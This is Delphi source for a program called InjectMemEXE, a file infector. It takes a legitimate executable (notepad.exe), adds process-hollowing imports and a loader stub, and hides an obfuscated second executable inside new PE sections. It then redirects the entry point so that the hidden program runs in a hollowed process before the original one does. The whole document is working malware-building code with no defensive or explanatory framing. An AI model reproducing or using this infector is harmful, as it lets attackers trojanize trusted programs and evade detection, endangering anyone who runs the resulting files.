program InjectMemEXE;
uses
Windows, SysUtils,
uAddSection {http://www.delphibasics.info/home/delphibasicssnippets/addnewsectiontopefile},
uAddImport {http://www.delphibasics.info/home/delphibasicssnippets/addimportstopefile};
type
TByteArray = array of Byte;
{$R *.res}
function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;
var
hFile: THandle;
dSize: DWORD;
dRead: DWORD;
begin
Result := FALSE;
hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
if hFile <> 0 then
begin
dSize := GetFileSize(hFile, nil);
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
SetLength(bFile, dSize);
if ReadFile(hFile, bFile[0], dSize, dRead, nil) then
Result := TRUE;
CloseHandle(hFile);
end;
end;
procedure BytesToFile(bData:TByteArray; sPath:string);
var
hFile: THandle;
dWritten: DWORD;
begin
hFile := CreateFile(PChar(sPath), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if hFile <> 0 then
begin
SetFilePointer(hFile, 0, nil, FILE_BEGIN);
WriteFile(hFile, bData[0],Length(bData), dWritten, nil);
CloseHandle(hFile);
end;
end;
function OffsetToRVA(dwOffset:DWORD; dwVA:DWORD; dwRaw:DWORD):DWORD;
begin
Result := dwOffset - dwRaw + dwVA;
end;
function RVAToOffset(dwRVA:DWORD; dwVA:DWORD; dwRaw:DWORD):DWORD;
begin
Result := dwRVA - dwVA + dwRaw;
end;
Function ROL (InByte : Byte; Times : Byte) : Byte; Assembler;
asm
MOV CL , DL
ROL AL , CL
end;
Function ROR (InByte : Byte; Times : Byte) : Byte; Assembler;
asm
MOV CL , DL
ROR AL , CL
end;
procedure InfectFile(szFilePath:string; szToInfectWith:string);
procedure LoadIAT(); stdcall; forward;
procedure LoadPE(dwOEP:DWORD; dwThunkPos:DWORD; dwImageBase:DWORD; dwSectionStart:DWORD); stdcall; forward;
procedure Loader; stdcall;
asm
call LoadIAT
call LoadPE
end;
procedure LoadIAT();
begin
asm
pop eax // eax == 0041008A
mov edx, eax // edx == 0041008A
mov edx, eax //^^
and eax, $fffff000 // eax == 00410000, SectionStart
push eax
push [eax]
add eax, 4
push [eax]
add eax, 4
push [eax]
push edx
end;
end;
procedure LoadPE(dwOEP:DWORD; dwThunkPos:DWORD; dwImageBase:DWORD; dwSectionStart:DWORD);
var
xCreateProcessA: function(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
xGetThreadContext: function(hThread: THandle; var lpContext: TContext): BOOL; stdcall;
xSetThreadContext: function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;
xReadProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall;
xWriteProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall;
xRtlMoveMemory: procedure(Destination, Source: Pointer; Length: DWORD); stdcall;
xResumeThread: function(hThread: THandle): DWORD; stdcall;
xGetModuleFileName: function(hModule: HINST; lpFilename: PChar; nSize: DWORD): DWORD; stdcall;
xRtlZeroMemory: procedure(Destination: Pointer; Length: DWORD); stdcall;
xVirtualProtectEx: function(hProcess: THandle; lpAddress: Pointer; dwSize, flNewProtect: DWORD; var OldProtect: DWORD): BOOL; stdcall;
xVirtualAllocEx: function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;
dwThunkBase: DWORD;
pMem: Pointer;
dwSize: DWORD;
IDH: TImageDosHeader;
INH: TImageNtHeaders;
ISH: TImageSectionHeader;
PI: TProcessInformation;
SI: TStartupInfo;
CT: TContext;
szAppPath: array[0..255] of Char;
dwRetn: DWORD;
dwNull: DWORD;
ImageBase: Pointer;
i: WORD;
begin
dwThunkBase := dwImageBase + dwThunkPos;
xCreateProcessA := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xGetThreadContext := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xReadProcessMemory := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xWriteProcessMemory := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xSetThreadContext := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xRtlMoveMemory := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xResumeThread := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xGetModuleFileName := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xRtlZeroMemory := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xVirtualProtectEx := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
xVirtualAllocEx := Pointer(PDWORD(dwThunkBase)^);
Inc(dwThunkBase, 4);
pMem := Pointer(DWORD(Pointer(DWORD(dwSectionStart + 12))^));
dwSize := DWORD(Pointer(DWORD(dwSectionStart + 16))^);
asm
mov edx, pMem
mov ecx, dwSize
@Loop:
rol byte ptr[edx], 3
xor byte ptr[edx], 0FFh
ror byte ptr[edx], 2
inc edx
dec ecx
jnz @Loop
end;
xRtlMoveMemory(@IDH, pMem, 64);
if IDH.e_magic = IMAGE_DOS_SIGNATURE then
begin
xRtlMoveMemory(@INH, Pointer(DWORD(pMem) + IDH._lfanew), 248);
if INH.Signature = IMAGE_NT_SIGNATURE then
begin
xRtlZeroMemory(@SI, 68);
xRtlZeroMemory(@PI, 16);
xGetModuleFileName(0, szAppPath, 256);
if xCreateProcessA(nil, szAppPath, nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CT.ContextFlags := CONTEXT_FULL;
if xGetThreadContext(PI.hThread, CT) then
begin
xReadProcessMemory(PI.hProcess, Ptr(CT.Ebx + 8), @dwRetn, 4, dwNull);
ImageBase := xVirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
xWriteProcessMemory(PI.hProcess, ImageBase, pMem, INH.OptionalHeader.SizeOfHeaders, dwNull);
for i := 0 to INH.FileHeader.NumberOfSections - 1 do
begin
xRtlMoveMemory(@ISH, Pointer(DWORD(pMem) + IDH._lfanew + 248 + i * 40), 40);
xWriteProcessMemory(PI.hProcess, Ptr(DWORD(ImageBase) + ISH.VirtualAddress), Pointer(DWORD(pMem) + ISH.PointerToRawData), ISH.SizeOfRawData, dwNull);
xVirtualProtectEx(PI.hProcess, Ptr(DWORD(ImageBase) + ISH.VirtualAddress), ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, dwRetn);
end;
xWriteProcessMemory(PI.hProcess, Ptr(CT.Ebx + 8), @ImageBase, 4, dwNull);
CT.Eax := DWORD(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
xSetThreadContext(PI.hThread, CT);
xResumeThread(PI.hThread);
end;
end;
end;
end;
asm
push dwOEP
retn
end;
end;
procedure LoaderEnd; begin end;
var
bFile: TByteArray;
bData: TByteArray;
Imports: TImports;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH, ISH2: PImageSectionHeader;
pSection: Pointer;
pFunc: Pointer;
dwSize: DWORD;
dwPos: DWORD;
dwThunk: DWORD;
dwOEP: DWORD;
dwMemPos: DWORD;
dwSizeOfData: DWORD;
i: DWORD;
szOutput: string;
dwNull1, dwNull2: DWORD;
dwSectionSize: DWORD;
begin
szOutput := ExtractFilePath(ParamStr(0)) + 'infected.exe';
if CopyFile(PChar(szFilePath), PChar(szOutput), FALSE) then
begin
Imports.szLibName := 'kernel32.dll';
SetLength(Imports.Funcs, 11);
Imports.Funcs[0] := 'CreateProcessA';
Imports.Funcs[1] := 'GetThreadContext';
Imports.Funcs[2] := 'ReadProcessMemory';
Imports.Funcs[3] := 'WriteProcessMemory';
Imports.Funcs[4] := 'SetThreadContext';
Imports.Funcs[5] := 'RtlMoveMemory';
Imports.Funcs[6] := 'ResumeThread';
Imports.Funcs[7] := 'GetModuleFileNameA';
Imports.Funcs[8] := 'RtlZeroMemory';
Imports.Funcs[9] := 'VirtualProtectEx';
Imports.Funcs[10] := 'VirtualAllocEx';
AddImport(szOutput, Imports, dwThunk);
FileToBytes(szToInfectWith, bData);
for i := 0 to Length(bData) - 1 do
begin
bData[i] := ROL(bData[i], 2);
bData[i] := bData[i] xor $FF;
bData[i] := ROR(bData[i], 3);
end;
begin
dwSectionSize := 1024;
if AddSection(szOutput, '.hhound', dwSectionSize, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ, dwNull1, dwNull2) then
begin
dwSectionSize := Length(bData);
AddSection(szOutput, '.sxdata', dwSectionSize, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE, dwNull1, dwNull2);
if FileToBytes(szOutput, bFile) then
begin
IDH := @bFile[0];
INH := @bFile[IDH._lfanew];
ISH := @bFile[IDH._lfanew + 248 + (INH.FileHeader.NumberOfSections - 2) * 40];
GetMem(pSection, ISH.SizeOfRawData);
CopyMemory(pSection, @bFile[ISH.PointerToRawData], ISH.SizeOfRawData);
dwPos := 0;
CopyMemory(pSection, PDWORD(@INH.OptionalHeader.ImageBase), 4);
Inc(dwPos, 4);
CopyMemory(Pointer(DWORD(pSection) + dwPos), @dwThunk, 4);
Inc(dwPos, 4);
dwOEP := INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
CopyMemory(Pointer(DWORD(pSection) + dwPos), @dwOEP, 4);
Inc(dwPos, 4);
ISH2 := @bFile[IDH._lfanew + 248 + (INH.FileHeader.NumberOfSections - 1) * 40];
CopyMemory(@bFile[ISH2.PointerToRawData], @bData[0], Length(bData));
dwMemPos := INH.OptionalHeader.ImageBase + ISH2.VirtualAddress;
dwSizeOfData := Length(bData);
CopyMemory(Pointer(DWORD(pSection) + dwPos), @dwMemPos, 4);
Inc(dwPos, 4);
CopyMemory(Pointer(DWORD(pSection) + dwPos), @dwSizeOfData, 4);
Inc(dwPos, 4);
pFunc := @Loader;
dwSize := DWORD(@LoaderEnd) - DWORD(@Loader);
CopyMemory(Pointer(DWORD(pSection) + dwPos), pFunc, dwSize);
CopyMemory(@bFile[ISH.PointerToRawData], pSection, ISH.SizeOfRawData);
INH.OptionalHeader.AddressOfEntryPoint := ISH.VirtualAddress + dwPos;
CopyMemory(@bFile[IDH._lfanew], INH, 248);
BytesToFile(bFile, szOutput);
//MessageBox(Application.Handle, PChar('File saved to ' + szOutput), 'Success', MB_ICONINFORMATION);
end;
end;
end;
end;
end;
begin
InfectFile('notepad.exe', 'Hello.exe');
end.